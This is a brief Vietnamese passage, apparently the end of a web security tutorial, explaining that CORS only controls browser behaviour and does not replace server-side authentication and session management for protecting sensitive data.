CORS xΓ‘c Δ‘α»‹nh cΓ‘c hΓ nh vi cα»§a trΓ¬nh duyệt vΓ  khΓ΄ng bao giờ thay thαΊΏ cho việc bαΊ£o vệ dα»― liệu nhαΊ‘y cαΊ£m phΓ­a mΓ‘y chα»§ - kαΊ» tαΊ₯n cΓ΄ng cΓ³ thể trα»±c tiαΊΏp giαΊ£ mαΊ‘o yΓͺu cαΊ§u tα»« bαΊ₯t kα»³ nguα»“n Δ‘Γ‘ng tin cαΊ­y nΓ o. Do Δ‘Γ³, mΓ‘y chα»§ web nΓͺn tiαΊΏp tα»₯c Γ‘p dα»₯ng cΓ‘c biện phΓ‘p bαΊ£o vệ Δ‘α»‘i vα»›i dα»― liệu nhαΊ‘y cαΊ£m, chαΊ³ng hαΊ‘n nhΖ° authentication vΓ  session management, ngoΓ i CORS được Δ‘α»‹nh cαΊ₯u hΓ¬nh Δ‘ΓΊng.

______________________________________________HαΊΏt___________________________________________________

Last updated